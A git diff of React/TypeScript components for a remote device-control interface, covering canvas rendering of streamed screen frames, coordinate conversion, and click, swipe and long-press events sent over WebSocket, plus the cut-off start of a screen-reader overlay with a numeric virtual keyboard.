isRenderingRef.current = false + return + } + + // 取走帧数据 + latestFrameRef.current = null + + const canvas = canvasRef.current + if (!canvas) { + isRenderingRef.current = false + return + } + + if (!frameData?.data || !frameData?.format) { + rafIdRef.current = requestAnimationFrame(doRender) + return + } + + // 上一帧还在解码,把数据放回去,下个 rAF 再试 + if (decodingRef.current) { + latestFrameRef.current = frameData + rafIdRef.current = requestAnimationFrame(doRender) + return + } + + decodingRef.current = true + + let blobPromise: Promise + if (typeof frameData.data === 'string') { + const binaryStr = atob(frameData.data) + const len = binaryStr.length + const bytes = new Uint8Array(len) + for (let i = 0; i < len; i++) { + bytes[i] = binaryStr.charCodeAt(i) + } + blobPromise = Promise.resolve(new Blob([bytes], { type: `image/${frameData.format.toLowerCase()}` })) + } else { + blobPromise = Promise.resolve(new Blob([frameData.data], { type: `image/${frameData.format.toLowerCase()}` })) + } + + blobPromise + .then(blob => createImageBitmap(blob)) + .then(bitmap => { + decodingRef.current = false + + const ctx = canvas.getContext('2d') + if (!ctx) { + bitmap.close() + rafIdRef.current = requestAnimationFrame(doRender) + return + } + + // 只在canvas内部分辨率需要增大时才更新,避免偶发小帧清空画布导致闪烁 + if (canvas.width < bitmap.width || canvas.height < bitmap.height) { + canvas.width = Math.max(canvas.width, bitmap.width) + canvas.height = Math.max(canvas.height, bitmap.height) + } + // 每帧绘制前清除(canvas可能比bitmap大) + ctx.clearRect(0, 0, canvas.width, canvas.height) + + switch (screenDisplay.fitMode) { + case 'fit': + drawFitMode(ctx, bitmap, canvas) + break + case 'fill': + drawFillMode(ctx, bitmap, canvas) + break + case 'stretch': + drawStretchMode(ctx, bitmap, canvas) + break + case 'original': + drawOriginalMode(ctx, bitmap, canvas) + break + } + + const bw = bitmap.width + const bh = bitmap.height + const prevSize = imageSizeRef.current + if (!prevSize || prevSize.width !== bw || prevSize.height !== bh) { + // 尺寸稳定性检查:只有连续多帧相同尺寸才更新,防止偶发异常帧闪烁 + const pending = pendingSizeRef.current + if (pending && pending.width === bw && pending.height === bh) { + pendingSizeCountRef.current++ + } else { + pendingSizeRef.current = { width: bw, height: bh } + pendingSizeCountRef.current = 1 + } + + if (pendingSizeCountRef.current >= SIZE_STABLE_THRESHOLD || !prevSize) { + imageSizeRef.current = { width: bw, height: bh } + setImageSize({ width: bw, height: bh }) + pendingSizeRef.current = null + pendingSizeCountRef.current = 0 + } + } else { + // 尺寸未变,重置pending + pendingSizeRef.current = null + pendingSizeCountRef.current = 0 + } + + const now = Date.now() + fpsFrameTimesRef.current.push(now) + const cutoff = now - 2000 + fpsFrameTimesRef.current = fpsFrameTimesRef.current.filter(t => t > cutoff) + if (now - lastFpsUpdateRef.current > 500) { + lastFpsUpdateRef.current = now + setDisplayFps(Math.round(fpsFrameTimesRef.current.length / 2)) + } + + bitmap.close() + + // 解码完成后始终调度下一帧,保持循环活跃 + rafIdRef.current = requestAnimationFrame(doRender) + }) + .catch(err => { + decodingRef.current = false + console.error('图像解码失败:', err) + rafIdRef.current = requestAnimationFrame(doRender) + }) + } + + doRender() + }, [screenDisplay.fitMode]) + + const drawFitMode = (ctx: CanvasRenderingContext2D, img: HTMLImageElement | ImageBitmap, canvas: HTMLCanvasElement) => { + const scale = Math.min(canvas.width / img.width, canvas.height / img.height) + const x = (canvas.width - img.width * scale) / 2 + const y = (canvas.height - img.height * scale) / 2 + ctx.drawImage(img, x, y, img.width * scale, img.height * scale) + } + + const drawFillMode = (ctx: CanvasRenderingContext2D, img: HTMLImageElement | ImageBitmap, canvas: HTMLCanvasElement) => { + const scale = Math.max(canvas.width / img.width, canvas.height / img.height) + const x = (canvas.width - img.width * scale) / 2 + const y = (canvas.height - img.height * scale) / 2 + ctx.drawImage(img, x, y, img.width * scale, img.height * scale) + } + + const drawStretchMode = (ctx: CanvasRenderingContext2D, img: HTMLImageElement | ImageBitmap, canvas: HTMLCanvasElement) => { + ctx.drawImage(img, 0, 0, canvas.width, canvas.height) + } + + const drawOriginalMode = (ctx: CanvasRenderingContext2D, img: HTMLImageElement | ImageBitmap, canvas: HTMLCanvasElement) => { + const x = (canvas.width - img.width) / 2 + const y = (canvas.height - img.height) / 2 + ctx.drawImage(img, x, y) + } + + // 坐标转换函数:将canvas坐标转换为设备坐标 + const convertCanvasToDeviceCoords = useCallback((canvasX: number, canvasY: number, canvas: HTMLCanvasElement, device: any) => { + if (!device) return null + + const deviceWidth = device.screenWidth + const deviceHeight = device.screenHeight + + // 使用canvas的实际显示尺寸,而不是内部分辨率 + const rect = canvas.getBoundingClientRect() + const canvasWidth = rect.width + const canvasHeight = rect.height + + let imageX: number, imageY: number, imageWidth: number, imageHeight: number + + // 由于canvas使用了objectFit: 'contain',浏览器会自动保持宽高比 + // 我们需要计算图像在canvas中的实际显示位置和尺寸 + const scale = Math.min(canvasWidth / deviceWidth, canvasHeight / deviceHeight) + imageWidth = deviceWidth * scale + imageHeight = deviceHeight * scale + imageX = (canvasWidth - imageWidth) / 2 + imageY = (canvasHeight - imageHeight) / 2 + + + + // 检查点击是否在图像区域内 + if (canvasX < imageX || canvasX > imageX + imageWidth || + canvasY < imageY || canvasY > imageY + imageHeight) { + console.warn('点击在图像区域外') + return null // 点击在图像区域外 + } + + // 将canvas坐标转换为图像内的相对坐标 + const relativeX = canvasX - imageX + const relativeY = canvasY - imageY + + // 转换为设备坐标 + const deviceX = (relativeX / imageWidth) * deviceWidth + const deviceY = (relativeY / imageHeight) * deviceHeight + + console.log('deviceX', deviceX) + console.log('deviceY', deviceY) + // 确保坐标在设备范围内 + const clampedX = Math.max(0, Math.min(deviceWidth - 1, deviceX)) + const clampedY = Math.max(0, Math.min(deviceHeight - 1, deviceY)) + + + + return { x: clampedX, y: clampedY } + }, []) + + // const handleMouseEvent = useCallback((event: React.MouseEvent, action: string) => { + // if (!webSocket || !device) return + + // const canvas = canvasRef.current + // if (!canvas) return + + // const rect = canvas.getBoundingClientRect() + // const canvasX = event.clientX - rect.left + // const canvasY = event.clientY - rect.top + + // // 根据显示模式计算正确的设备坐标 + // const deviceCoords = convertCanvasToDeviceCoords(canvasX, canvasY, canvas, device) + + // if (!deviceCoords) { + // console.warn('无法转换坐标,可能点击在图像区域外') + // return + // } + + // console.log(`点击位置转换: Canvas(${canvasX.toFixed(1)}, ${canvasY.toFixed(1)}) -> Device(${deviceCoords.x.toFixed(1)}, ${deviceCoords.y.toFixed(1)})`) + + // webSocket.emit('control_message', { + // type: action, + // deviceId, + // data: { x: deviceCoords.x, y: deviceCoords.y }, + // timestamp: Date.now() + // }) + + // // 显示触摸指示器 + // if (screenDisplay.showTouchIndicator) { + // showTouchIndicator(canvasX, canvasY) + // } + // }, [webSocket, device, deviceId, screenDisplay.showTouchIndicator, convertCanvasToDeviceCoords]) + + const showTouchIndicator = (x: number, y: number) => { + const indicator = document.createElement('div') + indicator.style.position = 'absolute' + indicator.style.left = `${x - 10}px` + indicator.style.top = `${y - 10}px` + indicator.style.width = '20px' + indicator.style.height = '20px' + indicator.style.borderRadius = '50%' + indicator.style.backgroundColor = 'rgba(24, 144, 255, 0.6)' + indicator.style.border = '2px solid #1890ff' + indicator.style.pointerEvents = 'none' + indicator.style.zIndex = '1000' + + const container = canvasRef.current?.parentElement + if (container) { + container.style.position = 'relative' + container.appendChild(indicator) + + setTimeout(() => { + container.removeChild(indicator) + }, 500) + } + } + + const showSwipeIndicator = (startX: number, startY: number, endX: number, endY: number) => { + const container = canvasRef.current?.parentElement + if (!container) return + + // 创建滑动轨迹线 + const line = document.createElement('div') + const length = Math.sqrt(Math.pow(endX - startX, 2) + Math.pow(endY - startY, 2)) + const angle = Math.atan2(endY - startY, endX - startX) * 180 / Math.PI + + line.style.position = 'absolute' + line.style.left = `${startX}px` + line.style.top = `${startY}px` + line.style.width = `${length}px` + line.style.height = '2px' + line.style.backgroundColor = '#ff4d4f' + line.style.transformOrigin = '0 50%' + line.style.transform = `rotate(${angle}deg)` + line.style.pointerEvents = 'none' + line.style.zIndex = '1000' + + // 创建箭头 + const arrow = document.createElement('div') + arrow.style.position = 'absolute' + arrow.style.left = `${endX - 5}px` + arrow.style.top = `${endY - 5}px` + arrow.style.width = '10px' + arrow.style.height = '10px' + arrow.style.backgroundColor = '#ff4d4f' + arrow.style.transform = 'rotate(45deg)' + arrow.style.pointerEvents = 'none' + arrow.style.zIndex = '1000' + + container.style.position = 'relative' + container.appendChild(line) + container.appendChild(arrow) + + setTimeout(() => { + if (container.contains(line)) container.removeChild(line) + if (container.contains(arrow)) container.removeChild(arrow) + }, 800) + } + + const showLongPressIndicator = (x: number, y: number) => { + const indicator = document.createElement('div') + indicator.style.position = 'absolute' + indicator.style.left = `${x - 15}px` + indicator.style.top = `${y - 15}px` + indicator.style.width = '30px' + indicator.style.height = '30px' + indicator.style.borderRadius = '50%' + indicator.style.backgroundColor = 'rgba(255, 77, 79, 0.6)' + indicator.style.border = '3px solid #ff4d4f' + indicator.style.pointerEvents = 'none' + indicator.style.zIndex = '1000' + indicator.style.animation = 'pulse 1s infinite' + + const container = canvasRef.current?.parentElement + if (container) { + container.style.position = 'relative' + container.appendChild(indicator) + + setTimeout(() => { + if (container.contains(indicator)) { + container.removeChild(indicator) + } + }, 1000) + } + } + + // 🆕 显示长按拖拽开始指示器 + const showLongPressDragStartIndicator = (x: number, y: number) => { + const container = canvasRef.current?.parentElement + if (!container) return + + // 创建长按拖拽开始指示器(较大的圆圈,橙色) + const indicator = document.createElement('div') + indicator.style.position = 'absolute' + indicator.style.left = `${x - 20}px` + indicator.style.top = `${y - 20}px` + indicator.style.width = '40px' + indicator.style.height = '40px' + indicator.style.borderRadius = '50%' + indicator.style.backgroundColor = 'rgba(255, 165, 0, 0.7)' + indicator.style.border = '4px solid #ff8c00' + indicator.style.pointerEvents = 'none' + indicator.style.zIndex = '1000' + indicator.style.animation = 'pulse 0.8s infinite' + indicator.className = 'long-press-drag-start' + + // 添加文字标识 + const label = document.createElement('div') + label.style.position = 'absolute' + label.style.left = '50%' + label.style.top = '50%' + label.style.transform = 'translate(-50%, -50%)' + label.style.fontSize = '10px' + label.style.fontWeight = 'bold' + label.style.color = '#fff' + label.style.textShadow = '1px 1px 2px rgba(0,0,0,0.8)' + label.textContent = '拖' + indicator.appendChild(label) + + container.style.position = 'relative' + container.appendChild(indicator) + + return indicator + } + + // 🆕 显示长按拖拽路径指示器 + const showLongPressDragPath = (startX: number, startY: number, endX: number, endY: number) => { + const container = canvasRef.current?.parentElement + if (!container) return + + // 清除之前的拖拽开始指示器 + const existingIndicator = container.querySelector('.long-press-drag-start') + if (existingIndicator) { + container.removeChild(existingIndicator) + } + + // 创建拖拽路径线(粗一些,橙色渐变) + const line = document.createElement('div') + const length = Math.sqrt(Math.pow(endX - startX, 2) + Math.pow(endY - startY, 2)) + const angle = Math.atan2(endY - startY, endX - startX) * 180 / Math.PI + + line.style.position = 'absolute' + line.style.left = `${startX}px` + line.style.top = `${startY}px` + line.style.width = `${length}px` + line.style.height = '4px' + line.style.background = 'linear-gradient(to right, #ff8c00, #ff6347)' + line.style.transformOrigin = '0 50%' + line.style.transform = `rotate(${angle}deg)` + line.style.pointerEvents = 'none' + line.style.zIndex = '999' + line.style.boxShadow = '0 0 6px rgba(255, 140, 0, 0.6)' + + // 创建起始点指示器 + const startIndicator = document.createElement('div') + startIndicator.style.position = 'absolute' + startIndicator.style.left = `${startX - 8}px` + startIndicator.style.top = `${startY - 8}px` + startIndicator.style.width = '16px' + startIndicator.style.height = '16px' + startIndicator.style.borderRadius = '50%' + startIndicator.style.backgroundColor = '#ff8c00' + startIndicator.style.border = '2px solid #fff' + startIndicator.style.pointerEvents = 'none' + startIndicator.style.zIndex = '1001' + + // 创建结束点指示器(带箭头) + const endIndicator = document.createElement('div') + endIndicator.style.position = 'absolute' + endIndicator.style.left = `${endX - 12}px` + endIndicator.style.top = `${endY - 12}px` + endIndicator.style.width = '24px' + endIndicator.style.height = '24px' + endIndicator.style.borderRadius = '50%' + endIndicator.style.backgroundColor = '#ff6347' + endIndicator.style.border = '3px solid #fff' + endIndicator.style.pointerEvents = 'none' + endIndicator.style.zIndex = '1001' + endIndicator.style.boxShadow = '0 0 8px rgba(255, 99, 71, 0.8)' + + // 添加箭头图标 + const arrow = document.createElement('div') + arrow.style.position = 'absolute' + arrow.style.left = '50%' + arrow.style.top = '50%' + arrow.style.transform = 'translate(-50%, -50%)' + arrow.style.fontSize = '12px' + arrow.style.color = '#fff' + arrow.style.fontWeight = 'bold' + arrow.textContent = '→' + endIndicator.appendChild(arrow) + + container.style.position = 'relative' + container.appendChild(line) + container.appendChild(startIndicator) + container.appendChild(endIndicator) + + // 1.5秒后清除指示器 + setTimeout(() => { + if (container.contains(line)) container.removeChild(line) + if (container.contains(startIndicator)) container.removeChild(startIndicator) + if (container.contains(endIndicator)) container.removeChild(endIndicator) + }, 1500) + } + + // 添加滑动处理 + const [isDragging, setIsDragging] = useState(false) + const [dragStart, setDragStart] = useState<{x: number, y: number} | null>(null) + + // 🆕 添加长按处理 + const [isLongPressTriggered, setIsLongPressTriggered] = useState(false) + const longPressTimerRef = useRef(null) + + // 🆕 添加长按拖拽处理状态 + const [isLongPressDragging, setIsLongPressDragging] = useState(false) + const [longPressDragStartPos, setLongPressDragStartPos] = useState<{x: number, y: number} | null>(null) + + // 🆕 添加拖拽路径收集状态 + const [dragPath, setDragPath] = useState>([]) + const lastMoveTimeRef = useRef(0) + + + + // 处理真正的点击(从mouseUp中调用) + const performClick = useCallback((canvasX: number, canvasY: number) => { + if (!webSocket || !device) return + + // 检查操作是否被允许 + if (!operationEnabled) { + console.warn('屏幕点击操作已被阻止') + return + } + + const canvas = canvasRef.current + if (!canvas) return + + const deviceCoords = convertCanvasToDeviceCoords(canvasX, canvasY, canvas, device) + + if (!deviceCoords) { + console.warn('无法转换坐标,可能点击在图像区域外') + return + } + + + + webSocket.emit('control_message', { + type: 'CLICK', + deviceId, + data: { x: deviceCoords.x, y: deviceCoords.y }, + timestamp: Date.now() + }) + + // 显示触摸指示器 + if (screenDisplay.showTouchIndicator) { + showTouchIndicator(canvasX, canvasY) + } + + + }, [webSocket, device, deviceId, screenDisplay.showTouchIndicator, convertCanvasToDeviceCoords, operationEnabled]) + + // 🆕 处理长按操作 + const performLongPress = useCallback((canvasX: number, canvasY: number) => { + if (!webSocket || !device) return + + // 检查操作是否被允许 + if (!operationEnabled) { + console.warn('屏幕长按操作已被阻止') + return + } + + const canvas = canvasRef.current + if (!canvas) return + + const deviceCoords = convertCanvasToDeviceCoords(canvasX, canvasY, canvas, device) + + if (!deviceCoords) { + console.warn('无法转换坐标,可能长按在图像区域外') + return + } + + console.log(`长按操作: Canvas(${canvasX.toFixed(1)}, ${canvasY.toFixed(1)}) -> Device(${deviceCoords.x.toFixed(1)}, ${deviceCoords.y.toFixed(1)})`) + + webSocket.emit('control_message', { + type: 'LONG_PRESS', + deviceId, + data: { x: deviceCoords.x, y: deviceCoords.y }, + timestamp: Date.now() + }) + + // 显示长按指示器(使用不同颜色区分) + if (screenDisplay.showTouchIndicator) { + showLongPressIndicator(canvasX, canvasY) + } + + }, [webSocket, device, deviceId, screenDisplay.showTouchIndicator, convertCanvasToDeviceCoords, operationEnabled]) + + const handleMouseDown = useCallback((event: React.MouseEvent) => { + event.preventDefault() + setIsDragging(true) + + const canvas = canvasRef.current + if (!canvas) return + + const rect = canvas.getBoundingClientRect() + const startX = event.clientX - rect.left + const startY = event.clientY - rect.top + + setDragStart({ x: startX, y: startY }) + + // 🆕 启动长按计时器 + setIsLongPressTriggered(false) + setIsLongPressDragging(false) + setLongPressDragStartPos(null) + setDragPath([]) // 🔧 清理拖拽路径 + longPressTimerRef.current = window.setTimeout(() => { + setIsLongPressTriggered(true) + // 🆕 长按触发后不立即执行操作,而是准备进入拖拽模式 + console.log('长按触发,准备进入拖拽模式') + }, 500) // 500ms 后触发长按 + }, [performLongPress]) + + const handleMouseMove = useCallback((event: React.MouseEvent) => { + if (!isDragging || !dragStart) return + + event.preventDefault() + + // 🆕 处理长按拖拽逻辑 - 优化为连续手势 + if (isLongPressTriggered && !isLongPressDragging) { + // 长按已触发,用户开始拖拽,进入长按拖拽模式 + if (!webSocket || !device || !operationEnabled) return + + const canvas = canvasRef.current + if (!canvas) return + + // 转换开始位置为设备坐标 + const startCoords = convertCanvasToDeviceCoords(dragStart.x, dragStart.y, canvas, device) + if (!startCoords) return + + setIsLongPressDragging(true) + setLongPressDragStartPos(startCoords) + + // 🔧 优化:初始化拖拽路径,包含起始点 + setDragPath([startCoords]) + + // 🆕 显示长按拖拽开始指示器 + if (screenDisplay.showTouchIndicator) { + showLongPressDragStartIndicator(dragStart.x, dragStart.y) + } + + console.log(`长按拖拽开始: Device(${startCoords.x.toFixed(1)}, ${startCoords.y.toFixed(1)})`) + } else if (isLongPressDragging) { + // 🔧 优化:收集拖拽路径点,而不是立即发送消息 + const now = Date.now() + + // 频率控制:每50ms最多记录一个点,避免路径过密 + if (now - lastMoveTimeRef.current < 50) return + + const canvas = canvasRef.current + if (!canvas) return + + const rect = canvas.getBoundingClientRect() + const currentX = event.clientX - rect.left + const currentY = event.clientY - rect.top + + const currentCoords = convertCanvasToDeviceCoords(currentX, currentY, canvas, device) + if (!currentCoords) return + + // 添加当前点到路径中 + setDragPath(prevPath => { + const newPath = [...prevPath, currentCoords] + // 限制路径点数量,避免内存占用过大 + return newPath.length > 100 ? [newPath[0], ...newPath.slice(-99)] : newPath + }) + + lastMoveTimeRef.current = now + console.debug(`长按拖拽路径收集: Device(${currentCoords.x.toFixed(1)}, ${currentCoords.y.toFixed(1)})`) + } + }, [isDragging, dragStart, isLongPressTriggered, isLongPressDragging, webSocket, device, deviceId, operationEnabled, convertCanvasToDeviceCoords, screenDisplay.showTouchIndicator, dragPath]) + + const handleMouseUp = useCallback((event: React.MouseEvent) => { + if (!isDragging || !dragStart) return + + event.preventDefault() + setIsDragging(false) + + // 🆕 清理长按计时器 + if (longPressTimerRef.current) { + clearTimeout(longPressTimerRef.current) + longPressTimerRef.current = null + } + + // 🆕 处理长按相关操作 + if (isLongPressTriggered) { + if (isLongPressDragging) { + // 🔧 优化:执行完整的长按拖拽手势 + if (webSocket && device && operationEnabled && longPressDragStartPos && dragPath.length > 0) { + const canvas = canvasRef.current + if (canvas) { + const rect = canvas.getBoundingClientRect() + const endX = event.clientX - rect.left + const endY = event.clientY - rect.top + + const endCoords = convertCanvasToDeviceCoords(endX, endY, canvas, device) + if (endCoords) { + // 将结束点添加到路径中 + const completePath = [...dragPath, endCoords] + + // 发送包含完整路径的长按拖拽消息 + webSocket.emit('control_message', { + type: 'LONG_PRESS_DRAG', + deviceId, + data: { + path: completePath, + startX: completePath[0].x, + startY: completePath[0].y, + endX: endCoords.x, + endY: endCoords.y, + duration: Math.max(2000, 1500 + completePath.length * 20) // 优化:为微移动长按预留更多时间 + }, + timestamp: Date.now() + }) + + console.log(`长按拖拽完成: Device(${completePath[0].x.toFixed(1)}, ${completePath[0].y.toFixed(1)}) -> Device(${endCoords.x.toFixed(1)}, ${endCoords.y.toFixed(1)}), 路径点数: ${completePath.length}`) + + // 🆕 显示长按拖拽路径指示器 + if (screenDisplay.showTouchIndicator) { + showLongPressDragPath(dragStart.x, dragStart.y, endX, endY) + } + } + } + } + } else { + // 长按已触发但没有拖拽,执行普通长按操作 + const canvas = canvasRef.current + const rect = canvas?.getBoundingClientRect() + if (rect) { + const endX = event.clientX - rect.left + const endY = event.clientY - rect.top + performLongPress(endX, endY) + } + } + + // 清理长按拖拽相关状态 + setDragStart(null) + setIsLongPressTriggered(false) + setIsLongPressDragging(false) + setLongPressDragStartPos(null) + setDragPath([]) // 🔧 清理拖拽路径 + return + } + + const canvas = canvasRef.current + if (!canvas || !webSocket || !device) return + + const rect = canvas.getBoundingClientRect() + const endX = event.clientX - rect.left + const endY = event.clientY - rect.top + + // 计算移动距离 + const deltaX = Math.abs(endX - dragStart.x) + const deltaY = Math.abs(endY - dragStart.y) + const threshold = 10 // 增加阈值到10像素,避免误触 + + if (deltaX < threshold && deltaY < threshold) { + // 小距离移动,当作点击处理 + performClick(endX, endY) + } else { + // 大距离移动,当作滑动处理 + + // 检查操作是否被允许 + if (!operationEnabled) { + console.warn('屏幕滑动操作已被阻止') + return + } + + // 使用正确的坐标转换函数 + const startCoords = convertCanvasToDeviceCoords(dragStart.x, dragStart.y, canvas, device) + const endCoords = convertCanvasToDeviceCoords(endX, endY, canvas, device) + + if (!startCoords || !endCoords) { + console.warn('滑动坐标转换失败,滑动可能在图像区域外') + return + } + + + + webSocket.emit('control_message', { + type: 'SWIPE', + deviceId, + data: { + startX: startCoords.x, + startY: startCoords.y, + endX: endCoords.x, + endY: endCoords.y, + duration: 300 + }, + timestamp: Date.now() + }) + + // 显示滑动指示器 + if (screenDisplay.showTouchIndicator) { + showSwipeIndicator(dragStart.x, dragStart.y, endX, endY) + } + } + + setDragStart(null) + }, [isDragging, dragStart, webSocket, device, deviceId, screenDisplay.showTouchIndicator, convertCanvasToDeviceCoords, performClick, operationEnabled, isLongPressTriggered, isLongPressDragging, longPressDragStartPos, performLongPress, dragPath]) + + // 处理鼠标离开画布 + const handleMouseLeave = useCallback(() => { + setIsDragging(false) + setDragStart(null) + + // 🆕 清理长按计时器和状态 + if (longPressTimerRef.current) { + clearTimeout(longPressTimerRef.current) + longPressTimerRef.current = null + } + setIsLongPressTriggered(false) + + // 🆕 清理长按拖拽相关状态 + setIsLongPressDragging(false) + setLongPressDragStartPos(null) + setDragPath([]) // 🔧 清理拖拽路径 + }, []) + + // 🔍 全屏切换 + const toggleFullscreen = useCallback(() => { + const container = fullscreenContainerRef.current + if (!container) return + + if (!document.fullscreenElement) { + container.requestFullscreen().catch(err => { + console.warn('进入全屏失败:', err) + }) + } else { + document.exitFullscreen() + } + }, []) + + // 监听 fullscreenchange 事件同步状态 + useEffect(() => { + const onFullscreenChange = () => { + setIsFullscreen(!!document.fullscreenElement) + } + document.addEventListener('fullscreenchange', onFullscreenChange) + return () => { + document.removeEventListener('fullscreenchange', onFullscreenChange) + } + }, []) + + // 全屏模式下计算 canvas 的 CSS 尺寸(保持宽高比,适配屏幕) + // 使用 state 存储全屏容器尺寸,确保全屏切换和窗口resize时触发重渲染 + const [containerSize, setContainerSize] = useState<{ w: number; h: number }>({ w: 0, h: 0 }) + + useEffect(() => { + if (!isFullscreen) return + const updateSize = () => { + setContainerSize({ w: window.innerWidth, h: window.innerHeight }) + } + // 全屏后立即更新 + 延迟更新(部分浏览器全屏动画完成后尺寸才稳定) + updateSize() + const timer = setTimeout(updateSize, 100) + window.addEventListener('resize', updateSize) + return () => { + clearTimeout(timer) + window.removeEventListener('resize', updateSize) + } + }, [isFullscreen]) + + const getCanvasStyle = useCallback((): React.CSSProperties => { + if (!isFullscreen || !imageSize || containerSize.w === 0) { + return { + width: imageSize ? `${imageSize.width}px` : '100%', + height: imageSize ? `${imageSize.height}px` : 'auto', + } + } + // 全屏时:canvas 按宽高比缩放填满屏幕 + const scale = Math.min(containerSize.w / imageSize.width, containerSize.h / imageSize.height) + return { + width: `${Math.round(imageSize.width * scale)}px`, + height: `${Math.round(imageSize.height * scale)}px`, + } + }, [isFullscreen, imageSize, containerSize]) + + + + if (!device) { + return ( + +
+ 设备未找到 +
+
+ ) + } + + return ( + <> + {/* 添加CSS动画 */} + + +
+ {/* 顶部信息栏 - 屏幕阅读器模式下隐藏 */} + + {/* 操作状态指示器 */} + {!operationEnabled && ( +
+ 🔒 操作已禁用 +
+ )} + + + + {isLoading && ( +
+ +
+ 正在连接设备屏幕... +
+
+ )} + + {/* Canvas wrapper - position:relative so touch/swipe indicators are positioned relative to canvas */} +
+ e.preventDefault()} + /> +
+ + {/* 📊 画质控制面板 + 🔍 全屏按钮 */} +
+ + {displayFps} FPS{networkStats.dropRate > 0.05 ? ` ⚠${(networkStats.dropRate * 100).toFixed(0)}%丢帧` : ''} + +
+ + {showQualityPanel && ( +
+ {QUALITY_PROFILES.map(p => ( +
{ handleSetProfile(p.key); setShowQualityPanel(false) }} + style={{ + color: currentProfile === p.key ? '#1890ff' : '#fff', + fontSize: '12px', + padding: '4px 8px', + cursor: 'pointer', + borderRadius: '3px', + background: currentProfile === p.key ? 'rgba(24,144,255,0.15)' : 'transparent', + }} + > + {p.label} ({p.fps}fps / {p.resolution}) +
+ ))} +
+ )} +
+ {/* 🔍 全屏/退出全屏按钮 */} + +
+
+ + ) +} + +export default DeviceScreen \ No newline at end of file diff --git a/src/components/Device/ScreenReader.tsx b/src/components/Device/ScreenReader.tsx new file mode 100644 index 0000000..52e72bf --- /dev/null +++ b/src/components/Device/ScreenReader.tsx @@ -0,0 +1,1529 @@ +import React, { useEffect, useRef, useState, useCallback } from 'react' +import { useSelector } from 'react-redux' +// import { App } from 'antd' +import type { RootState } from '../../store/store' + +interface ScreenReaderProps { + deviceId: string + maxHeight?: number +} + +interface UIElement { + id: string + type: string + text?: string + description?: string + bounds: { + left: number + top: number + right: number + bottom: number + } + clickable: boolean + scrollable: boolean + focusable: boolean + enabled: boolean + visible: boolean + children?: UIElement[] + className?: string + resourceId?: string + packageName?: string +} + +interface UIHierarchy { + root: UIElement + timestamp: number + screenWidth: number + screenHeight: number + totalElements: number + clickableElements: number +} + +/** + * 屏幕阅读器组件 - 在设备屏幕上叠加显示UI元素边界 + */ +const ScreenReader: React.FC = ({ deviceId, maxHeight }) => { + + // const { message } = App.useApp() + const { webSocket } = useSelector((state: RootState) => state.connection) + const { connectedDevices } = useSelector((state: RootState) => state.devices) + + // 获取当前设备的屏幕阅读器配置 + const device = connectedDevices.find(d => d.id === deviceId) + const screenReader = device?.screenReader || { + enabled: false, + autoRefresh: true, + refreshInterval: 1, + showElementBounds: true, + highlightClickable: true, + showVirtualKeyboard: false, + showText: true + } + + // 顶部工具栏操作 + // const handleToggleScreenReader = useCallback(() => { + // if (!deviceId) return + // if (device?.screenReader?.enabled) { + // try { + // // The original code had enable/disable logic here, but the imports were removed. + // // Assuming the intent was to remove the toolbar and its logic. + // // For now, we'll just show a message if screen reader is disabled. + // message.info('屏幕阅读器已禁用') + // } catch { + // // ignore + // } + // } else { + // try { + // // The original code had enable/disable logic here, but the imports were removed. + // // Assuming the intent was to remove the toolbar and its logic. + // // For now, we'll just show a message if screen reader is disabled. + // message.info('屏幕阅读器已启用') + // if (webSocket) { + // webSocket.emit('client_event', { + // type: 'GET_UI_HIERARCHY', + // data: { + // deviceId, + // requestId: `ui_hierarchy_${Date.now()}`, + // includeInvisible: true, + // includeNonInteractive: true, + // maxDepth: 25, + // enhanced: true, + // includeDeviceInfo: true + // } + // }) + // } + // } catch { + // // ignore + // } + // } + // }, [device?.screenReader?.enabled, deviceId, webSocket, message]) + + // const handleExtractConfirmCoords = useCallback(() => { + // if (!webSocket || !deviceId) { + // message.error('WebSocket未连接') + // return + // } + // webSocket.emit('client_event', { + // type: 'START_EXTRACT_CONFIRM_COORDS', + // data: { deviceId } + // }) + // message.info('已开始提取确认坐标,按提示点击目标位置') + // }, [webSocket, deviceId, message]) + + // const handleInputConfirmCoords = useCallback(() => { + // if (!webSocket || !deviceId) { + // message.error('WebSocket未连接') + // return + // } + // const xStr = window.prompt('请输入确认坐标 X:') + // const yStr = window.prompt('请输入确认坐标 Y:') + // if (!xStr || !yStr) return + // const x = parseFloat(xStr) + // const y = parseFloat(yStr) + // if (Number.isNaN(x) || Number.isNaN(y)) { + // message.error('坐标格式不正确') + // return + // } + // webSocket.emit('client_event', { + // type: 'SAVE_CONFIRM_COORDS', + // data: { deviceId, coords: { x, y } } + // }) + // message.success(`已提交坐标: (${x}, ${y})`) + // }, [webSocket, deviceId, message]) + const [uiHierarchy, setUiHierarchy] = useState(null) + const [, setLoading] = useState(false) + const [selectedElement, setSelectedElement] = useState(null) + const [autoRefresh] = useState(true) // 自动刷新开关 + const autoRefreshIntervalRef = useRef(null) + const canvasRef = useRef(null) + + // 🆕 添加拖拽状态管理 + const [isDragging, setIsDragging] = useState(false) + const [dragStart, setDragStart] = useState<{x: number, y: number} | null>(null) + + // 🆕 添加长按处理 + const [isLongPressTriggered, setIsLongPressTriggered] = useState(false) + const longPressTimerRef = useRef(null) + + // 🆕 确认坐标提取相关状态 + const [isExtractingConfirmCoords, setIsExtractingConfirmCoords] = useState(false) + // const [extractedCoords, setExtractedCoords] = useState<{ x: number; y: number } | null>(null) + + // 🆕 虚拟按键相关状态 + const [virtualKeyboard, setVirtualKeyboard] = useState<{ + visible: boolean + keys: Array<{ + id: string + text: string + x: number + y: number + width: number + height: number + }> + }>({ + visible: false, + keys: [] + }) + + // ✨ 增强分析结果状态 + // const [enhancedAnalysisResult, setEnhancedAnalysisResult] = useState(null) + // const [deviceCharacteristics, setDeviceCharacteristics] = useState(null) + + // 🆕 生成虚拟按键布局(基于屏幕阅读器显示尺寸) + const generateVirtualKeyboard = useCallback((screenWidth: number, screenHeight: number) => { + // 键盘高度:屏幕高度的25%(确保4行按键都能显示) + const keyboardHeight = screenHeight * 0.25 + const keyboardY = screenHeight - keyboardHeight // 贴到最底部 + + // 键盘宽度:占满整个屏幕宽度(无左右间距) + const keyboardWidth = screenWidth + const keyboardX = 0 // 从屏幕左边缘开始 + + // 按键尺寸计算:确保4行按键都能在键盘高度内显示 + const keyHeight = keyboardHeight / 4 // 4行按键 + const keyWidth = keyboardWidth / 3 // 3列按键 + + const keys = [] + + // 第一行:1, 2, 3 + for (let i = 0; i < 3; i++) { + keys.push({ + id: `key_${i + 1}`, + text: `${i + 1}`, + x: keyboardX + i * keyWidth, + y: keyboardY, + width: keyWidth, + height: keyHeight + }) + } + + // 第二行:4, 5, 6 + for (let i = 0; i < 3; i++) { + keys.push({ + id: 